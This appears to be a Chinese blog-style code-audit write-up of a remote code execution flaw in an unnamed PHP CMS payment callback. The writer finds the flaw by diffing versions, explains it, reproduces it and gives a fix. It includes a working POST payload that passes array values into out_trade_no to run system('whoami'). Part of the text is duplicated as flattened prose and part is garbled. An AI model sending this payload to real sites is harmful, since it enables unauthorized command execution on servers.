记一次rce漏洞的代码分析
字数 1146 2025-08-20 18:18:39

RCE漏洞分析与利用:基于CMS的代码审计实战

漏洞概述

本文详细分析一个通过代码审计发现的远程代码执行(RCE)漏洞,该漏洞存在于某开源CMS系统中。漏洞源于对用户输入参数的不当处理,导致攻击者能够构造特殊输入执行任意系统命令。

漏洞发现过程

  1. 版本对比法:通过对比CMS更新前后的代码版本,从更新日志中发现安全修复点
  2. 补丁分析:定位到修复点是对out_trade_no参数增加了非空和字符串类型的校验
  3. 逆向审计:下载修复前版本进行代码审计,确认漏洞存在

漏洞代码分析

关键漏洞代码段

$out_trade_no = $_POST['out_trade_no'];
$order = D('order')->field('id,order_sn,status,userid,username,paytype,money,quantity,`type`,`desc`')
          ->where(array('order_sn' => $out_trade_no))->find();

漏洞产生原因

  1. 输入处理缺陷

    • 直接使用$_POST['out_trade_no']作为数据库查询条件
    • 未对参数类型和内容进行严格校验
  2. WHERE语句处理机制

    • 当传入参数为数组时,系统会特殊处理数组元素
    • 处理逻辑中存在可被利用的函数动态调用
// 漏洞核心处理逻辑
$fun = isset($vv[1]) ? $vv[1] : '';
$rule = isset($vv[2]) ? $vv[2] : '';
// ...
$fun($rule); // 此处可执行任意函数
  1. 三元运算符滥用
    • $fun$rule从数组元素中动态获取
    • 攻击者可控制这两个变量实现任意函数调用

路由机制分析

该CMS支持三种路由方式:

  1. PATH_INFO模式

    http://127.0.0.1/s=模块名/控制器名/方法名
    
  2. 伪静态模式

    http://127.0.0.1/模块名/控制器名/方法名.html
    
  3. GET参数模式

    http://127.0.0.1/?m=模块名&c=控制器名&a=方法名
    

文件路径映射规则:

./application/模块名/controller/控制器.php

漏洞复现

攻击向量

POST /?m=pay&c=index&a=pay_callback HTTP/1.1
Host: 127.0.0.1:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

out_trade_no[0]=eq&out_trade_no[1]=whoami&out_trade_no[2]=system

攻击原理

  1. 构造特殊数组参数out_trade_no

    • [0]:设置比较运算符(实际可为任意值)
    • [1]:指定要执行的系统命令
    • [2]:指定命令执行函数(如system
  2. 系统处理流程:

    • 将数组参数传递给WHERE条件处理
    • 动态调用$fun($rule)system('whoami')
    • 实现任意命令执行

漏洞挖掘方法论

代码审计技巧

  1. 敏感函数追踪

    • 搜索->where(等数据库操作方法
    • 关注参数是否为用户可控输入
  2. 正则表达式搜索

    • ->where\(array\ 查找数组形式的WHERE条件
    • `->where

\[->` 查找链式调用 3. **参数传递路径分析**: - 追踪用户输入从入口到最终使用的完整路径 - 检查中间是否有充分的过滤和校验 ### 同类漏洞挖掘 1. **后台管理员添加功能**: - 查找类似`$_POST["adminname"]`直接使用的场景 - 检查是否有未过滤的数组参数传递 2. **其他数据库操作方法**: - `find()` - `select()` - `query()` ## 防御措施 1. **输入验证**: - 严格校验参数类型(如强制字符串类型) - 使用白名单验证允许的字符集 2. **安全编码实践**: - 避免动态函数调用 - 使用参数化查询或预处理语句 3. **修复方案**: ```php // 修复后的代码 $out_trade_no = isset($_POST['out_trade_no']) && is_string($_POST['out_trade_no']) ? $_POST['out_trade_no'] : ''; ``` ## 总结 本漏洞展示了以下安全要点: 1. 动态函数调用的危险性 2. 数组参数处理的潜在风险 3. 输入验证的重要性 4. 通过版本对比进行漏洞挖掘的有效性 安全开发人员应当: - 避免使用用户输入直接作为函数名 - 对所有用户输入进行严格类型和内容检查 - 使用安全的数据库查询方法\]

RCE漏洞分析与利用:基于CMS的代码审计实战 漏洞概述 本文详细分析一个通过代码审计发现的远程代码执行(RCE)漏洞,该漏洞存在于某开源CMS系统中。漏洞源于对用户输入参数的不当处理,导致攻击者能够构造特殊输入执行任意系统命令。 漏洞发现过程 版本对比法 :通过对比CMS更新前后的代码版本,从更新日志中发现安全修复点 补丁分析 :定位到修复点是对 out_trade_no 参数增加了非空和字符串类型的校验 逆向审计 :下载修复前版本进行代码审计,确认漏洞存在 漏洞代码分析 关键漏洞代码段 漏洞产生原因 输入处理缺陷 : 直接使用 $_POST['out_trade_no'] 作为数据库查询条件 未对参数类型和内容进行严格校验 WHERE语句处理机制 : 当传入参数为数组时,系统会特殊处理数组元素 处理逻辑中存在可被利用的函数动态调用 三元运算符滥用 : $fun 和 $rule 从数组元素中动态获取 攻击者可控制这两个变量实现任意函数调用 路由机制分析 该CMS支持三种路由方式: PATH_ INFO模式 : 伪静态模式 : GET参数模式 : 文件路径映射规则: 漏洞复现 攻击向量 攻击原理 构造特殊数组参数 out_trade_no : [0] :设置比较运算符(实际可为任意值) [1] :指定要执行的系统命令 [2] :指定命令执行函数(如 system ) 系统处理流程: 将数组参数传递给WHERE条件处理 动态调用 $fun($rule) 即 system('whoami') 实现任意命令执行 漏洞挖掘方法论 代码审计技巧 敏感函数追踪 : 搜索 ->where( 等数据库操作方法 关注参数是否为用户可控输入 正则表达式搜索 : ->where\(array\ 查找数组形式的WHERE条件 ->where\(\)-> 查找链式调用 参数传递路径分析 : 追踪用户输入从入口到最终使用的完整路径 检查中间是否有充分的过滤和校验 同类漏洞挖掘 后台管理员添加功能 : 查找类似 $_POST["adminname"] 直接使用的场景 检查是否有未过滤的数组参数传递 其他数据库操作方法 : find() select() query() 防御措施 输入验证 : 严格校验参数类型(如强制字符串类型) 使用白名单验证允许的字符集 安全编码实践 : 避免动态函数调用 使用参数化查询或预处理语句 修复方案 : 总结 本漏洞展示了以下安全要点: 动态函数调用的危险性 数组参数处理的潜在风险 输入验证的重要性 通过版本对比进行漏洞挖掘的有效性 安全开发人员应当: 避免使用用户输入直接作为函数名 对所有用户输入进行严格类型和内容检查 使用安全的数据库查询方法